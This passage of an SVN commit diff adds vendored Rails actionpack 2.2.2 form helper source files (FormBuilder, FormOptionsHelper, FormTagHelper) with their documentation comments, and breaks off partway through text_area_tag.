+        self.class.value(object, @method_name)
+      end
+
+      def value_before_type_cast(object)
+        self.class.value_before_type_cast(object, @method_name)
+      end
+
+      class << self
+        def value(object, method_name)
+          object.send method_name unless object.nil?
+        end
+
+        def value_before_type_cast(object, method_name)
+          unless object.nil?
+            object.respond_to?(method_name + "_before_type_cast") ?
+            object.send(method_name + "_before_type_cast") :
+            object.send(method_name)
+          end
+        end
+
+        def check_box_checked?(value, checked_value)
+          case value
+          when TrueClass, FalseClass
+            value
+          when NilClass
+            false
+          when Integer
+            value != 0
+          when String
+            value == checked_value
+          when Array
+            value.include?(checked_value)
+          else
+            value.to_i != 0
+          end
+        end
+
+        def radio_button_checked?(value, checked_value)
+          value.to_s == checked_value.to_s
+        end
+      end
+
+      private
+        def add_default_name_and_id(options)
+          if options.has_key?("index")
+            options["name"] ||= tag_name_with_index(options["index"])
+            options["id"]   ||= tag_id_with_index(options["index"])
+            options.delete("index")
+          elsif defined?(@auto_index)
+            options["name"] ||= tag_name_with_index(@auto_index)
+            options["id"]   ||= tag_id_with_index(@auto_index)
+          else
+            options["name"] ||= tag_name + (options.has_key?('multiple') ? '[]' : '')
+            options["id"]   ||= tag_id
+          end
+        end
+
+        def tag_name
+          "#{@object_name}[#{sanitized_method_name}]"
+        end
+
+        def tag_name_with_index(index)
+          "#{@object_name}[#{index}][#{sanitized_method_name}]"
+        end
+
+        def tag_id
+          "#{sanitized_object_name}_#{sanitized_method_name}"
+        end
+
+        def tag_id_with_index(index)
+          "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+        end
+
+        def sanitized_object_name
+          @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
+        end
+
+        def sanitized_method_name
+          @sanitized_method_name ||= @method_name.sub(/\?$/,"")
+        end
+    end
+
+    class FormBuilder #:nodoc:
+      # The methods which wrap a form helper call.
+      class_inheritable_accessor :field_helpers
+      self.field_helpers = (FormHelper.instance_methods - ['form_for'])
+
+      attr_accessor :object_name, :object, :options
+
+      def initialize(object_name, object, template, options, proc)
+        @object_name, @object, @template, @options, @proc = object_name, object, template, options, proc
+        @default_options = @options ? @options.slice(:index) : {}
+        if @object_name.to_s.match(/\[\]$/)
+          if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
+            @auto_index = object.to_param
+          else
+            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+          end
+        end
+      end
+
+      (field_helpers - %w(label check_box radio_button fields_for)).each do |selector|
+        src = <<-end_src
+          def #{selector}(method, options = {})
+            @template.send(#{selector.inspect}, @object_name, method, objectify_options(options))
+          end
+        end_src
+        class_eval src, __FILE__, __LINE__
+      end
+
+      def fields_for(record_or_name_or_array, *args, &block)
+        if options.has_key?(:index)
+          index = "[#{options[:index]}]"
+        elsif defined?(@auto_index)
+          self.object_name = @object_name.to_s.sub(/\[\]$/,"")
+          index = "[#{@auto_index}]"
+        else
+          index = ""
+        end
+
+        case record_or_name_or_array
+        when String, Symbol
+          name = "#{object_name}#{index}[#{record_or_name_or_array}]"
+        when Array
+          object = record_or_name_or_array.last
+          name = "#{object_name}#{index}[#{ActionController::RecordIdentifier.singular_class_name(object)}]"
+          args.unshift(object)
+        else
+          object = record_or_name_or_array
+          name = "#{object_name}#{index}[#{ActionController::RecordIdentifier.singular_class_name(object)}]"
+          args.unshift(object)
+        end
+
+        @template.fields_for(name, *args, &block)
+      end
+
+      def label(method, text = nil, options = {})
+        @template.label(@object_name, method, text, objectify_options(options))
+      end
+
+      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
+        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+      end
+
+      def radio_button(method, tag_value, options = {})
+        @template.radio_button(@object_name, method, tag_value, objectify_options(options))
+      end
+
+      def error_message_on(method, *args)
+        @template.error_message_on(@object, method, *args)
+      end
+
+      def error_messages(options = {})
+        @template.error_messages_for(@object_name, objectify_options(options))
+      end
+
+      def submit(value = "Save changes", options = {})
+        @template.submit_tag(value, options.reverse_merge(:id => "#{object_name}_submit"))
+      end
+
+      private
+        def objectify_options(options)
+          @default_options.merge(options.merge(:object => @object))
+        end
+    end
+  end
+
+  class Base
+    cattr_accessor :default_form_builder
+    self.default_form_builder = ::ActionView::Helpers::FormBuilder
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_options_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_options_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_options_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,388 @@
+require 'cgi'
+require 'erb'
+require 'action_view/helpers/form_helper'
+
+module ActionView
+  module Helpers
+    # Provides a number of methods for turning different kinds of containers into a set of option tags.
+    # == Options
+    # The <tt>collection_select</tt>, <tt>country_select</tt>, <tt>select</tt>,
+    # and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter,
+    # a hash.
+    #
+    # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
+    #
+    # For example,
+    #
+    #   select("post", "category", Post::CATEGORIES, {:include_blank => true})
+    #
+    # could become:
+    #
+    #   <select name="post[category]">
+    #     <option></option>
+    #     <option>joke</option>
+    #     <option>poem</option>
+    #   </select>
+    #
+    # Another common case is a select tag for an <tt>belongs_to</tt>-associated object.
+    #
+    # Example with @post.person_id => 2:
+    #
+    #   select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'})
+    #
+    # could become:
+    #
+    #   <select name="post[person_id]">
+    #     <option value="">None</option>
+    #     <option value="1">David</option>
+    #     <option value="2" selected="selected">Sam</option>
+    #     <option value="3">Tobias</option>
+    #   </select>
+    #
+    # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
+    #
+    # Example:
+    #
+    #   select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'})
+    #
+    # could become:
+    #
+    #   <select name="post[person_id]">
+    #     <option value="">Select Person</option>
+    #     <option value="1">David</option>
+    #     <option value="2">Sam</option>
+    #     <option value="3">Tobias</option>
+    #   </select>
+    # 
+    # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this 
+    # option to be in the +html_options+ parameter.
+    # 
+    # Example: 
+    # 
+    #   select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+    # 
+    # becomes:
+    # 
+    #   <select name="album[][genre]" id="album__genre">
+    #     <option value="rap">rap</option>
+    #     <option value="rock">rock</option>
+    #     <option value="country">country</option>
+    #   </select>
+    module FormOptionsHelper
+      include ERB::Util
+
+      # Create a select tag and a series of contained option tags for the provided object and method.
+      # The option currently held by the object will be selected, provided that the object is available.
+      # See options_for_select for the required format of the choices parameter.
+      #
+      # Example with @post.person_id => 1:
+      #   select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank => true })
+      #
+      # could become:
+      #
+      #   <select name="post[person_id]">
+      #     <option value=""></option>
+      #     <option value="1" selected="selected">David</option>
+      #     <option value="2">Sam</option>
+      #     <option value="3">Tobias</option>
+      #   </select>
+      #
+      # This can be used to provide a default set of options in the standard way: before rendering the create form, a
+      # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
+      # to the database. Instead, a second model object is created when the create request is received.
+      # This allows the user to submit a form page more than once with the expected results of creating multiple records.
+      # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
+      #
+      # By default, <tt>post.person_id</tt> is the selected option.  Specify <tt>:selected => value</tt> to use a different selection
+      # or <tt>:selected => nil</tt> to leave all options unselected.
+      def select(object, method, choices, options = {}, html_options = {})
+        InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options)
+      end
+
+      # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+      # or <tt>:include_blank</tt> in the +options+ hash.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
+      # of +collection+. The return values are used as the +value+ attribute and contents of each
+      # <tt><option></tt> tag, respectively.
+      # 
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt => true})
+      #
+      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+      #   <select name="post[author_id]">
+      #     <option value="">Please select</option>
+      #     <option value="1" selected="selected">D. Heinemeier Hansson</option>
+      #     <option value="2">D. Thomas</option>
+      #     <option value="3">M. Clark</option>
+      #   </select>
+      def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
+        InstanceTag.new(object, method, self, options.delete(:object)).to_collection_select_tag(collection, value_method, text_method, options, html_options)
+      end
+
+      # Return select and option tags for the given object and method, using
+      # #time_zone_options_for_select to generate the list of option tags.
+      #
+      # In addition to the <tt>:include_blank</tt> option documented above,
+      # this method also supports a <tt>:model</tt> option, which defaults
+      # to TimeZone. This may be used by users to specify a different time
+      # zone model object. (See +time_zone_options_for_select+ for more
+      # information.)
+      #
+      # You can also supply an array of TimeZone objects
+      # as +priority_zones+, so that they will be listed above the rest of the
+      # (long) list. (You can use TimeZone.us_zones as a convenience for
+      # obtaining a list of the US time zones, or a Regexp to select the zones
+      # of your choice)
+      #
+      # Finally, this method supports a <tt>:default</tt> option, which selects
+      # a default TimeZone if the object's time zone is +nil+.
+      #
+      # Examples:
+      #   time_zone_select( "user", "time_zone", nil, :include_blank => true)
+      #
+      #   time_zone_select( "user", "time_zone", nil, :default => "Pacific Time (US & Canada)" )
+      #
+      #   time_zone_select( "user", 'time_zone', TimeZone.us_zones, :default => "Pacific Time (US & Canada)")
+      #
+      #   time_zone_select( "user", 'time_zone', [ TimeZone['Alaska'], TimeZone['Hawaii'] ])
+      #
+      #   time_zone_select( "user", 'time_zone', /Australia/)
+      #
+      #   time_zone_select( "user", "time_zone", TZInfo::Timezone.all.sort, :model => TZInfo::Timezone)
+      def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
+        InstanceTag.new(object, method, self,  options.delete(:object)).to_time_zone_select_tag(priority_zones, options, html_options)
+      end
+
+      # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
+      # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
+      # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
+      # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag.  +selected+
+      # may also be an array of values to be selected when using a multiple select.
+      #
+      # Examples (call, result):
+      #   options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
+      #     <option value="$">Dollar</option>\n<option value="DKK">Kroner</option>
+      #
+      #   options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+      #     <option>VISA</option>\n<option selected="selected">MasterCard</option>
+      #
+      #   options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
+      #     <option value="$20">Basic</option>\n<option value="$40" selected="selected">Plus</option>
+      #
+      #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
+      #     <option selected="selected">VISA</option>\n<option>MasterCard</option>\n<option selected="selected">Discover</option>
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+      def options_for_select(container, selected = nil)
+        container = container.to_a if Hash === container
+
+        options_for_select = container.inject([]) do |options, element|
+          text, value = option_text_and_value(element)
+          selected_attribute = ' selected="selected"' if option_value_selected?(value, selected)
+          options << %(<option value="#{html_escape(value.to_s)}"#{selected_attribute}>#{html_escape(text.to_s)}</option>)
+        end
+
+        options_for_select.join("\n")
+      end
+
+      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the
+      # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+      # If +selected+ is specified, the element returning a match on +value_method+ will get the selected option tag.
+      #
+      # Example (call, result). Imagine a loop iterating over each +person+ in <tt>@project.people</tt> to generate an input tag:
+      #   options_from_collection_for_select(@project.people, "id", "name")
+      #     <option value="#{person.id}">#{person.name}</option>
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+      def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+        options = collection.map do |element|
+          [element.send(text_method), element.send(value_method)]
+        end
+        options_for_select(options, selected)
+      end
+
+      # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
+      # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
+      #
+      # Parameters:
+      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+      #   array of child objects representing the <tt><option></tt> tags.
+      # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
+      #   to +option_key_method+. If +nil+, no selection is made.
+      #
+      # Example object structure for use with this method:
+      #   class Continent < ActiveRecord::Base
+      #     has_many :countries
+      #     # attribs: id, name
+      #   end
+      #   class Country < ActiveRecord::Base
+      #     belongs_to :continent
+      #     # attribs: id, name, continent_id
+      #   end
+      #
+      # Sample usage:
+      #   option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+      #
+      # Possible output:
+      #   <optgroup label="Africa">
+      #     <option value="1">Egypt</option>
+      #     <option value="4">Rwanda</option>
+      #     ...
+      #   </optgroup>
+      #   <optgroup label="Asia">
+      #     <option value="3" selected="selected">China</option>
+      #     <option value="12">India</option>
+      #     <option value="5">Japan</option>
+      #     ...
+      #   </optgroup>
+      #
+      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+      # wrap the output in an appropriate <tt><select></tt> tag.
+      def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
+        collection.inject("") do |options_for_select, group|
+          group_label_string = eval("group.#{group_label_method}")
+          options_for_select += "<optgroup label=\"#{html_escape(group_label_string)}\">"
+          options_for_select += options_from_collection_for_select(eval("group.#{group_method}"), option_key_method, option_value_method, selected_key)
+          options_for_select += '</optgroup>'
+        end
+      end
+
+      # Returns a string of option tags for pretty much any time zone in the
+      # world. Supply a TimeZone name as +selected+ to have it marked as the
+      # selected option tag. You can also supply an array of TimeZone objects
+      # as +priority_zones+, so that they will be listed above the rest of the
+      # (long) list. (You can use TimeZone.us_zones as a convenience for
+      # obtaining a list of the US time zones, or a Regexp to select the zones
+      # of your choice)
+      #
+      # The +selected+ parameter must be either +nil+, or a string that names
+      # a TimeZone.
+      #
+      # By default, +model+ is the TimeZone constant (which can be obtained
+      # in Active Record as a value object). The only requirement is that the
+      # +model+ parameter be an object that responds to +all+, and returns
+      # an array of objects that represent time zones.
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in
+      # a regular HTML select tag.
+      def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
+        zone_options = ""
+
+        zones = model.all
+        convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
+
+        if priority_zones
+	        if priority_zones.is_a?(Regexp)
+            priority_zones = model.all.find_all {|z| z =~ priority_zones}
+	        end
+          zone_options += options_for_select(convert_zones[priority_zones], selected)
+          zone_options += "<option value=\"\" disabled=\"disabled\">-------------</option>\n"
+
+          zones = zones.reject { |z| priority_zones.include?( z ) }
+        end
+
+        zone_options += options_for_select(convert_zones[zones], selected)
+        zone_options
+      end
+
+      private
+        def option_text_and_value(option)
+          # Options are [text, value] pairs or strings used for both.
+          if !option.is_a?(String) and option.respond_to?(:first) and option.respond_to?(:last)
+            [option.first, option.last]
+          else
+            [option, option]
+          end
+        end
+
+        def option_value_selected?(value, selected)
+          if selected.respond_to?(:include?) && !selected.is_a?(String)
+            selected.include? value
+          else
+            value == selected
+          end
+        end
+    end
+
+    class InstanceTag #:nodoc:
+      include FormOptionsHelper
+
+      def to_select_tag(choices, options, html_options)
+        html_options = html_options.stringify_keys
+        add_default_name_and_id(html_options)
+        value = value(object)
+        selected_value = options.has_key?(:selected) ? options[:selected] : value
+        content_tag("select", add_options(options_for_select(choices, selected_value), options, selected_value), html_options)
+      end
+
+      def to_collection_select_tag(collection, value_method, text_method, options, html_options)
+        html_options = html_options.stringify_keys
+        add_default_name_and_id(html_options)
+        value = value(object)
+        content_tag(
+          "select", add_options(options_from_collection_for_select(collection, value_method, text_method, value), options, value), html_options
+        )
+      end
+
+      def to_time_zone_select_tag(priority_zones, options, html_options)
+        html_options = html_options.stringify_keys
+        add_default_name_and_id(html_options)
+        value = value(object)
+        content_tag("select",
+          add_options(
+            time_zone_options_for_select(value || options[:default], priority_zones, options[:model] || ActiveSupport::TimeZone),
+            options, value
+          ), html_options
+        )
+      end
+
+      private
+        def add_options(option_tags, options, value = nil)
+          if options[:include_blank]
+            option_tags = "<option value=\"\">#{options[:include_blank] if options[:include_blank].kind_of?(String)}</option>\n" + option_tags
+          end
+          if value.blank? && options[:prompt]
+            ("<option value=\"\">#{options[:prompt].kind_of?(String) ? options[:prompt] : 'Please select'}</option>\n") + option_tags
+          else
+            option_tags
+          end
+        end
+    end
+
+    class FormBuilder
+      def select(method, choices, options = {}, html_options = {})
+        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
+        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
+        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_tag_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_tag_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_tag_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,481 @@
+require 'cgi'
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+  module Helpers
+    # Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like
+    # FormHelper does. Instead, you provide the names and values manually.
+    #
+    # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
+    # <tt>:disabled => true</tt> will give <tt>disabled="disabled"</tt>.
+    module FormTagHelper
+      # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
+      # ActionController::Base#url_for. The method for the form defaults to POST.
+      #
+      # ==== Options
+      # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
+      # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
+      #   If "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
+      #   is added to simulate the verb over post.
+      # * A list of parameters to feed to the URL the form will be posted to.
+      #
+      # ==== Examples
+      #   form_tag('/posts')
+      #   # => <form action="/posts" method="post">
+      #
+      #   form_tag('/posts/1', :method => :put)
+      #   # => <form action="/posts/1" method="put">
+      #
+      #   form_tag('/upload', :multipart => true)
+      #   # => <form action="/upload" method="post" enctype="multipart/form-data">
+      #
+      #   <% form_tag '/posts' do -%>
+      #     <div><%= submit_tag 'Save' %></div>
+      #   <% end -%>
+      #   # => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+      def form_tag(url_for_options = {}, options = {}, *parameters_for_url, &block)
+        html_options = html_options_for_form(url_for_options, options, *parameters_for_url)
+        if block_given?
+          form_tag_in_block(html_options, &block)
+        else
+          form_tag_html(html_options)
+        end
+      end
+
+      # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
+      # choice selection box.
+      #
+      # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
+      # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
+      #
+      # ==== Options
+      # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   select_tag "people", "<option>David</option>"
+      #   # => <select id="people" name="people"><option>David</option></select>
+      #
+      #   select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>"
+      #   # => <select id="count" name="count"><option>1</option><option>2</option>
+      #   #    <option>3</option><option>4</option></select>
+      #
+      #   select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>", :multiple => true
+      #   # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
+      #   #    <option>Green</option><option>Blue</option></select>
+      #
+      #   select_tag "locations", "<option>Home</option><option selected="selected">Work</option><option>Out</option>"
+      #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
+      #   #    <option>Out</option></select>
+      #
+      #   select_tag "access", "<option>Read</option><option>Write</option>", :multiple => true, :class => 'form_input'
+      #   # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
+      #   #    <option>Write</option></select>
+      #
+      #   select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>", :disabled => true
+      #   # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
+      #   #    <option>Paris</option><option>Rome</option></select>
+      def select_tag(name, option_tags = nil, options = {})
+        html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
+        content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+      end
+
+      # Creates a standard text field; use these text fields to input smaller chunks of text like a username
+      # or a search query.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   text_field_tag 'name'
+      #   # => <input id="name" name="name" type="text" />
+      #
+      #   text_field_tag 'query', 'Enter your search query here'
+      #   # => <input id="query" name="query" type="text" value="Enter your search query here" />
+      #
+      #   text_field_tag 'request', nil, :class => 'special_input'
+      #   # => <input class="special_input" id="request" name="request" type="text" />
+      #
+      #   text_field_tag 'address', '', :size => 75
+      #   # => <input id="address" name="address" size="75" type="text" value="" />
+      #
+      #   text_field_tag 'zip', nil, :maxlength => 5
+      #   # => <input id="zip" maxlength="5" name="zip" type="text" />
+      #
+      #   text_field_tag 'payment_amount', '$0.00', :disabled => true
+      #   # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
+      #
+      #   text_field_tag 'ip', '0.0.0.0', :maxlength => 15, :size => 20, :class => "ip-input"
+      #   # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
+      def text_field_tag(name, value = nil, options = {})
+        tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+      end
+
+      # Creates a label field
+      #
+      # ==== Options  
+      # * Creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   label_tag 'name'
+      #   # => <label for="name">Name</label>
+      #
+      #   label_tag 'name', 'Your name'
+      #   # => <label for="name">Your Name</label>
+      #
+      #   label_tag 'name', nil, :class => 'small_label'
+      #   # => <label for="name" class="small_label">Name</label>
+      def label_tag(name, text = nil, options = {})
+        content_tag :label, text || name.to_s.humanize, { "for" => sanitize_to_id(name) }.update(options.stringify_keys)
+      end
+
+      # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
+      # data that should be hidden from the user.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   hidden_field_tag 'tags_list'
+      #   # => <input id="tags_list" name="tags_list" type="hidden" />
+      #
+      #   hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+      #   # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+      #
+      #   hidden_field_tag 'collected_input', '', :onchange => "alert('Input collected!')"
+      #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
+      #   #    type="hidden" value="" />
+      def hidden_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
+      end
+
+      # Creates a file upload field.  If you are using file uploads then you will also need
+      # to set the multipart option for the form tag:
+      #
+      #   <% form_tag '/upload', :multipart => true do %>
+      #     <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+      #     <%= submit_tag %>
+      #   <% end %>
+      #
+      # The specified URL will then be passed a File object containing the selected file, or if the field
+      # was left blank, a StringIO object.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      #
+      # ==== Examples
+      #   file_field_tag 'attachment'
+      #   # => <input id="attachment" name="attachment" type="file" />
+      #
+      #   file_field_tag 'avatar', :class => 'profile-input'
+      #   # => <input class="profile-input" id="avatar" name="avatar" type="file" />
+      #
+      #   file_field_tag 'picture', :disabled => true
+      #   # => <input disabled="disabled" id="picture" name="picture" type="file" />
+      #
+      #   file_field_tag 'resume', :value => '~/resume.doc'
+      #   # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
+      #
+      #   file_field_tag 'user_pic', :accept => 'image/png,image/gif,image/jpeg'
+      #   # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
+      #
+      #   file_field_tag 'file', :accept => 'text/html', :class => 'upload', :value => 'index.html'
+      #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
+      def file_field_tag(name, options = {})
+        text_field_tag(name, nil, options.update("type" => "file"))
+      end
+
+      # Creates a password field, a masked text field that will hide the users input behind a mask character.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   password_field_tag 'pass'
+      #   # => <input id="pass" name="pass" type="password" />
+      #
+      #   password_field_tag 'secret', 'Your secret here'
+      #   # => <input id="secret" name="secret" type="password" value="Your secret here" />
+      #
+      #   password_field_tag 'masked', nil, :class => 'masked_input_field'
+      #   # => <input class="masked_input_field" id="masked" name="masked" type="password" />
+      #
+      #   password_field_tag 'token', '', :size => 15
+      #   # => <input id="token" name="token" size="15" type="password" value="" />
+      #
+      #   password_field_tag 'key', nil, :maxlength => 16
+      #   # => <input id="key" maxlength="16" name="key" type="password" />
+      #
+      #   password_field_tag 'confirm_pass', nil, :disabled => true
+      #   # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
+      #
+      #   password_field_tag 'pin', '1234', :maxlength => 4, :size => 6, :class => "pin-input"
+      #   # => <input class="pin-input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
+      def password_field_tag(name = "password", value = nil, options = {})
+        text_field_tag(name, value, options.update("type" => "password"))
+      end
+
+      # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+      #
+      # ==== Options
+      # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
+      # * <tt>:rows</tt> - Specify the number of rows in the textarea
+      # * <tt>:cols</tt> - Specify the number of columns in the textarea
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   text_area_tag 'post'
+      #   # => <textarea id="post" name="post"></textarea>
+      #
+      #   text_area_tag 'bio', @user.bio
+      #   # => <textarea id="bio" name="bio">This is my biography.</textarea>
+      #
+      #   text_area_tag 'body', nil, :rows => 10, :cols => 25
+      #   # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
+      #
+      #   text_area_tag 'body', nil, :size => "25x10"
+      #   # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
+      #
+      #   text_area_tag 'description', "Description goes here.", :disabled => true
+      #   # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
+      #
+      #   text_area_tag 'comment', nil, :class => 'comment_input'
+      #   # => <textarea class="comment_input" id="comment" name="comment"></textarea>
+      def text_area_tag(name, content = nil, options = {})
+        options.stringify_keys!
+
+        if size = options.delete("size")
